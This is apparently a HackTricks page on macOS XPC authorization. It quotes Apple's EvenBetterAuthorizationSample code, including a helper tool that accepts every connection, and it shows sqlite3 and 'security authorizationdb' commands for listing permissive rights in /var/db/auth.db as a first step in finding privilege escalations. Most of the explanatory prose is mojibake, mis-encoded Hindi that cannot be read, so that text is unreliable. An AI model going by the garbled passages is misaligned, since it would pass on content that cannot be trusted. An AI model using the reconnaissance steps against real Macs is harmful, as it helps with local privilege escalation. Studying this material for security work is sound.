macOS XPC Authorization

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

XPC Authorization

Apple рдПрдХ рдФрд░ рддрд░реАрдХрд╛ рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рд╕реЗ рдпрд╣ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рдХреНрдпрд╛ рдХрдиреЗрдХреНрдЯрд┐рдВрдЧ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдкрд╛рд╕ рдПрдХ рдПрдХреНрд╕рдкреЛрдЬрд╝реНрдб XPC рдореЗрдердб рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИред

рдЬрдм рдПрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдПрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдХреНрд░рд┐рдпрд╛рдПрдБ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рддреЛ рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЪрд▓рд╛рдиреЗ рдХреЗ рдмрдЬрд╛рдп рдПрдХ HelperTool рдХреЛ рд░реВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ XPC рд╕реЗрд╡рд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реЗ рдЙрди рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рд╕реЗрд╡рд╛ рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдкрд╛рд╕ рдкрд░реНрдпрд╛рдкреНрдд рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред

ShouldAcceptNewConnection рд╣рдореЗрд╢рд╛ YES

рдПрдХ рдЙрджрд╛рд╣рд░рдг EvenBetterAuthorizationSample рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред App/AppDelegate.m рдореЗрдВ рдпрд╣ HelperTool рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред рдФрд░ HelperTool/HelperTool.m рдореЗрдВ рдлрд╝рдВрдХреНрд╢рди shouldAcceptNewConnection рдкрд╣рд▓реЗ рдмрддрд╛рдП рдЧрдП рдХрд┐рд╕реА рднреА рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреА рдЬрд╛рдВрдЪ рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред рдпрд╣ рд╣рдореЗрд╢рд╛ YES рд▓реМрдЯрд╛рдПрдЧрд╛:

- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in.  We configure the connection
// with our protocol and ourselves as the main object.
{
assert(listener == self.listener);
#pragma unused(listener)
assert(newConnection != nil);

newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
newConnection.exportedObject = self;
[newConnection resume];

return YES;
}

For more information about how to properly configure this check:

macOS XPC Connecting Process Check

Application rights

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЬрдм HelperTool рд╕реЗ рдПрдХ рд╡рд┐рдзрд┐ рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдХреБрдЫ рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╣реЛ рд░рд╣реЗ рд╣реИрдВред

App/AppDelegate.m рд╕реЗ applicationDidFinishLaunching рдлрд╝рдВрдХреНрд╢рди рдРрдк рдХреЗ рд╢реБрд░реВ рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж рдПрдХ рдЦрд╛рд▓реА рдЕрдзрд┐рдХрд╛рд░ рд╕рдВрджрд░реНрдн рдмрдирд╛рдПрдЧрд╛ред рдпрд╣ рд╣рдореЗрд╢рд╛ рдХрд╛рдо рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рдлрд┐рд░, рдпрд╣ рдЙрд╕ рдЕрдзрд┐рдХрд╛рд░ рд╕рдВрджрд░реНрдн рдореЗрдВ рдХреБрдЫ рдЕрдзрд┐рдХрд╛рд░ рдЬреЛрдбрд╝рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдЧрд╛ setupAuthorizationRights рдХреЛ рдХреЙрд▓ рдХрд░рдХреЗ:

- (void)applicationDidFinishLaunching:(NSNotification *)note
{
[...]
err = AuthorizationCreate(NULL, NULL, 0, &self->_authRef);
if (err == errAuthorizationSuccess) {
err = AuthorizationMakeExternalForm(self->_authRef, &extForm);
}
if (err == errAuthorizationSuccess) {
self.authorization = [[NSData alloc] initWithBytes:&extForm length:sizeof(extForm)];
}
assert(err == errAuthorizationSuccess);

// If we successfully connected to Authorization Services, add definitions for our default
// rights (unless they're already in the database).

if (self->_authRef) {
[Common setupAuthorizationRights:self->_authRef];
}

[self.window makeKeyAndOrderFront:self];
}

рдлрдВрдХреНрд╢рди setupAuthorizationRights рд╕реЗ Common/Common.m рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд▓рд┐рдП рдСрде рдбреЗрдЯрд╛рдмреЗрд╕ /var/db/auth.db рдореЗрдВ рд╕реНрдЯреЛрд░ рдХрд░реЗрдЧрд╛ред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рдХреЗрд╡рд▓ рдЙрди рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдЬреЛрдбрд╝реЗрдЧрд╛ рдЬреЛ рдЕрднреА рддрдХ рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдирд╣реАрдВ рд╣реИрдВ:

+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header.
{
assert(authRef != NULL);
[Common enumerateRightsUsingBlock:^(NSString * authRightName, id authRightDefault, NSString * authRightDesc) {
OSStatus    blockErr;

// First get the right.  If we get back errAuthorizationDenied that means there's
// no current definition, so we add our default one.

blockErr = AuthorizationRightGet([authRightName UTF8String], NULL);
if (blockErr == errAuthorizationDenied) {
blockErr = AuthorizationRightSet(
authRef,                                    // authRef
[authRightName UTF8String],                 // rightName
(__bridge CFTypeRef) authRightDefault,      // rightDefinition
(__bridge CFStringRef) authRightDesc,       // descriptionKey
NULL,                                       // bundle (NULL implies main bundle)
CFSTR("Common")                             // localeTableName
);
assert(blockErr == errAuthorizationSuccess);
} else {
// A right already exists (err == noErr) or any other error occurs, we
// assume that it has been set up in advance by the system administrator or
// this is the second time we've run.  Either way, there's nothing more for
// us to do.
}
}];
}

рдлрдВрдХреНрд╢рди enumerateRightsUsingBlock рд╡рд╣ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдХреА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ commandInfo рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рд╣реИрдВ:

static NSString * kCommandKeyAuthRightName    = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
static NSString * kCommandKeyAuthRightDesc    = @"authRightDescription";

+ (NSDictionary *)commandInfo
{
static dispatch_once_t sOnceToken;
static NSDictionary *  sCommandInfo;

dispatch_once(&sOnceToken, ^{
sCommandInfo = @{
NSStringFromSelector(@selector(readLicenseKeyAuthorization:withReply:)) : @{
kCommandKeyAuthRightName    : @"com.example.apple-samplecode.EBAS.readLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc    : NSLocalizedString(
@"EBAS is trying to read its license key.",
@"prompt shown when user is required to authorize to read the license key"
)
},
NSStringFromSelector(@selector(writeLicenseKey:authorization:withReply:)) : @{
kCommandKeyAuthRightName    : @"com.example.apple-samplecode.EBAS.writeLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleAuthenticateAsAdmin,
kCommandKeyAuthRightDesc    : NSLocalizedString(
@"EBAS is trying to write its license key.",
@"prompt shown when user is required to authorize to write the license key"
)
},
NSStringFromSelector(@selector(bindToLowNumberPortAuthorization:withReply:)) : @{
kCommandKeyAuthRightName    : @"com.example.apple-samplecode.EBAS.startWebService",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc    : NSLocalizedString(
@"EBAS is trying to start its web service.",
@"prompt shown when user is required to authorize to start the web service"
)
}
};
});
return sCommandInfo;
}

+ (NSString *)authorizationRightForCommand:(SEL)command
// See comment in header.
{
return [self commandInfo][NSStringFromSelector(command)][kCommandKeyAuthRightName];
}

+ (void)enumerateRightsUsingBlock:(void (^)(NSString * authRightName, id authRightDefault, NSString * authRightDesc))block
// Calls the supplied block with information about each known authorization right..
{
[self.commandInfo enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) {
#pragma unused(key)
#pragma unused(stop)
NSDictionary *  commandDict;
NSString *      authRightName;
id              authRightDefault;
NSString *      authRightDesc;

// If any of the following asserts fire it's likely that you've got a bug
// in sCommandInfo.

commandDict = (NSDictionary *) obj;
assert([commandDict isKindOfClass:[NSDictionary class]]);

authRightName = [commandDict objectForKey:kCommandKeyAuthRightName];
assert([authRightName isKindOfClass:[NSString class]]);

authRightDefault = [commandDict objectForKey:kCommandKeyAuthRightDefault];
assert(authRightDefault != nil);

authRightDesc = [commandDict objectForKey:kCommandKeyAuthRightDesc];
assert([authRightDesc isKindOfClass:[NSString class]]);

block(authRightName, authRightDefault, authRightDesc);
}];
}

рдпрд╣ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЕрдВрдд рдореЗрдВ, commandInfo рдХреЗ рдЕрдВрджрд░ рдШреЛрд╖рд┐рдд рдЕрдиреБрдорддрд┐рдпрд╛рдБ /var/db/auth.db рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХреА рдЬрд╛рдПрдБрдЧреАред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд╡рд╣рд╛рдБ рдЖрдк рдкреНрд░рддреНрдпреЗрдХ рд╡рд┐рдзрд┐ рдХреЗ рд▓рд┐рдП рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА, рдЕрдиреБрдорддрд┐ рдирд╛рдо рдФрд░ kCommandKeyAuthRightDefaultред рдмрд╛рдж рд╡рд╛рд▓рд╛ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреМрди рдЗрд╕ рдЕрдзрд┐рдХрд╛рд░ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдПрдХ рдЕрдзрд┐рдХрд╛рд░ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рджрд╛рдпрд░реЗ рд╣реИрдВред рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ AuthorizationDB.h рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рд╣реИрдВ (рдЖрдк рдпрд╣рд╛рдБ рд╕рднреА рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ), рд▓реЗрдХрд┐рди рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ:

рдирд╛рдордорд╛рдирд╡рд┐рд╡рд░рдг

kAuthorizationRuleClassAllow

allow

рдХреЛрдИ рднреА

kAuthorizationRuleClassDeny

deny

рдХреЛрдИ рдирд╣реАрдВ

kAuthorizationRuleIsAdmin

is-admin

рд╡рд░реНрддрдорд╛рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП (рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рд╕рдореВрд╣ рдХреЗ рдЕрдВрджрд░)

kAuthorizationRuleAuthenticateAsSessionUser

authenticate-session-owner

рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣реЗрдВред

kAuthorizationRuleAuthenticateAsAdmin

authenticate-admin

рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣реЗрдВред рдЙрд╕реЗ рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП (рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рд╕рдореВрд╣ рдХреЗ рдЕрдВрджрд░)

kAuthorizationRightRule

rule

рдирд┐рдпрдо рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реЗрдВ

kAuthorizationComment

comment

рдЕрдзрд┐рдХрд╛рд░ рдкрд░ рдХреБрдЫ рдЕрддрд┐рд░рд┐рдХреНрдд рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реЗрдВ

рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреА рд╕рддреНрдпрд╛рдкрди

HelperTool/HelperTool.m рдореЗрдВ рдлрд╝рдВрдХреНрд╢рди readLicenseKeyAuthorization рдпрд╣ рдЬрд╛рдВрдЪрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдХреЙрд▓рд░ рдХреЛ рдРрд╕реА рд╡рд┐рдзрд┐ рдХреЛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХреГрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдлрд╝рдВрдХреНрд╢рди checkAuthorization рдХреЛ рдХреЙрд▓ рдХрд░рдХреЗред рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рдпрд╣ рдЬрд╛рдВрдЪреЗрдЧрд╛ рдХрд┐ рдХреЙрд▓рд┐рдВрдЧ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рджреНрд╡рд╛рд░рд╛ рднреЗрдЬрд╛ рдЧрдпрд╛ authData рд╕рд╣реА рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рд╣реИ рдФрд░ рдлрд┐рд░ рдпрд╣ рдЬрд╛рдВрдЪреЗрдЧрд╛ рдХрд┐ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╡рд┐рдзрд┐ рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреНрдпрд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдпрджрд┐ рд╕рдм рдХреБрдЫ рдареАрдХ рд╣реИ рддреЛ рд╡рд╛рдкрд╕реА error nil рд╣реЛрдЧреА:

- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
[...]

// First check that authData looks reasonable.

error = nil;
if ( (authData == nil) || ([authData length] != sizeof(AuthorizationExternalForm)) ) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:paramErr userInfo:nil];
}

// Create an authorization ref from that the external form data contained within.

if (error == nil) {
err = AuthorizationCreateFromExternalForm([authData bytes], &authRef);

// Authorize the right associated with the command.

if (err == errAuthorizationSuccess) {
AuthorizationItem   oneRight = { NULL, 0, NULL, 0 };
AuthorizationRights rights   = { 1, &oneRight };

oneRight.name = [[Common authorizationRightForCommand:command] UTF8String];
assert(oneRight.name != NULL);

err = AuthorizationCopyRights(
authRef,
&rights,
NULL,
kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed,
NULL
);
}
if (err != errAuthorizationSuccess) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:err userInfo:nil];
}
}

if (authRef != NULL) {
junk = AuthorizationFree(authRef, 0);
assert(junk == errAuthorizationSuccess);
}

return error;
}

рдиреЛрдЯ рдХрд░реЗрдВ рдХрд┐ рдЙрд╕ рд╡рд┐рдзрд┐ рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╝рдВрдХреНрд╢рди authorizationRightForCommand рдХреЗрд╡рд▓ рдкрд╣рд▓реЗ рд╕реЗ рдЯрд┐рдкреНрдкрдгреА рдХрд┐рдП рдЧрдП рдСрдмреНрдЬреЗрдХреНрдЯ commandInfo рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдЧрд╛ред рдлрд┐рд░, рдпрд╣ AuthorizationCopyRights рдХреЛ рдХреЙрд▓ рдХрд░реЗрдЧрд╛ рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХреНрдпрд╛ рдЗрд╕рдХреЗ рдкрд╛рд╕ рдЕрдзрд┐рдХрд╛рд░ рд╣реИрдВ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП (рдиреЛрдЯ рдХрд░реЗрдВ рдХрд┐ рдлреНрд▓реИрдЧ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ)ред

рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдлрд╝рдВрдХреНрд╢рди readLicenseKeyAuthorization рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП kCommandKeyAuthRightDefault рдХреЛ @kAuthorizationRuleClassAllow рдкрд░ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рддреЛ рдХреЛрдИ рднреА рдЗрд╕реЗ рдХреЙрд▓ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

DB рдЬрд╛рдирдХрд╛рд░реА

рдпрд╣ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдХрд┐ рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА /var/db/auth.db рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИред рдЖрдк рд╕рднреА рд╕рдВрдЧреНрд░рд╣реАрдд рдирд┐рдпрдореЛрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%';

рдлрд┐рд░, рдЖрдк рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХрд┐рд╕реЗ рдЕрдзрд┐рдХрд╛рд░ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ:

security authorizationdb read com.apple.safaridriver.allow

Permissive rights

рдЖрдк рд╕рднреА рдЕрдиреБрдорддрд┐ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдпрд╣рд╛рдВ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╕рдВрдпреЛрдЬрди рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реЛрдЧреА рд╡реЗ рд╣реИрдВ:

  1. 'authenticate-user': 'false'

  • рдпрд╣ рд╕рдмрд╕реЗ рд╕реАрдзрд╛ рдХреБрдВрдЬреА рд╣реИред рдпрджрд┐ рдЗрд╕реЗ false рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдпрд╣ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЗрд╕ рдЕрдзрд┐рдХрд╛рд░ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред

  • рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдиреАрдЪреЗ рджрд┐рдП рдЧрдП 2 рдореЗрдВ рд╕реЗ рдПрдХ рдХреЗ рд╕рд╛рде рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╕рдВрдмрдВрдзрд┐рдд рд╕рдореВрд╣ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

  1. 'allow-root': 'true'

  • рдпрджрд┐ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд░реВрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░ рд░рд╣рд╛ рд╣реИ (рдЬрд┐рд╕рдХреЗ рдкрд╛рд╕ рдЙрдЪреНрдЪ рдЕрдиреБрдорддрд┐ рд╣реИ), рдФрд░ рдпрд╣ рдХреБрдВрдЬреА true рдкрд░ рд╕реЗрдЯ рд╣реИ, рддреЛ рд░реВрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдЗрд╕ рдЕрдзрд┐рдХрд╛рд░ рдХреЛ рдмрд┐рдирд╛ рдХрд┐рд╕реА рдЕрддрд┐рд░рд┐рдХреНрдд рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЖрдорддреМрд░ рдкрд░, рд░реВрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реНрдерд┐рддрд┐ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдЕрдзрд┐рдХрд╛рдВрд╢ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП "рдХреЛрдИ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдирд╣реАрдВ" рдкрд░рд┐рджреГрд╢реНрдп рдирд╣реАрдВ рд╣реИред

  1. 'session-owner': 'true'

  • рдпрджрд┐ рдЗрд╕реЗ true рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рд╕рддреНрд░ рдХрд╛ рдорд╛рд▓рд┐рдХ (рд╡рд░реНрддрдорд╛рди рдореЗрдВ рд▓реЙрдЧ рдЗрди рдХрд┐рдпрд╛ рд╣реБрдЖ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛) рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЗрд╕ рдЕрдзрд┐рдХрд╛рд░ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдЧрд╛ред рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд▓реЙрдЧ рдЗрди рд╣реИ рддреЛ рдпрд╣ рдЕрддрд┐рд░рд┐рдХреНрдд рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

  1. 'shared': 'true'

  • рдпрд╣ рдХреБрдВрдЬреА рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рдмрд┐рдирд╛ рдЕрдзрд┐рдХрд╛рд░ рдирд╣реАрдВ рджреЗрддреА рд╣реИред рдЗрд╕рдХреЗ рдмрдЬрд╛рдп, рдпрджрд┐ рдЗрд╕реЗ true рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдПрдХ рдмрд╛рд░ рдЬрдм рдЕрдзрд┐рдХрд╛рд░ рдХреЛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рдХрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдмреАрдЪ рд╕рд╛рдЭрд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдмрд┐рдирд╛ рдкреНрд░рддреНрдпреЗрдХ рдХреЛ рдлрд┐рд░ рд╕реЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗред рд▓реЗрдХрд┐рди рдЕрдзрд┐рдХрд╛рд░ рдХрд╛ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЕрдиреБрджрд╛рди рдЕрднреА рднреА рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА рдЬрдм рддрдХ рдХрд┐ рдЗрд╕реЗ 'authenticate-user': 'false' рдЬреИрд╕реЗ рдЕрдиреНрдп рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде рд╕рдВрдпреЛрдЬрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдЖрдк рдЗрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рджрд┐рд▓рдЪрд╕реНрдк рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП:

Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)

Rights with 'allow-root': 'true':
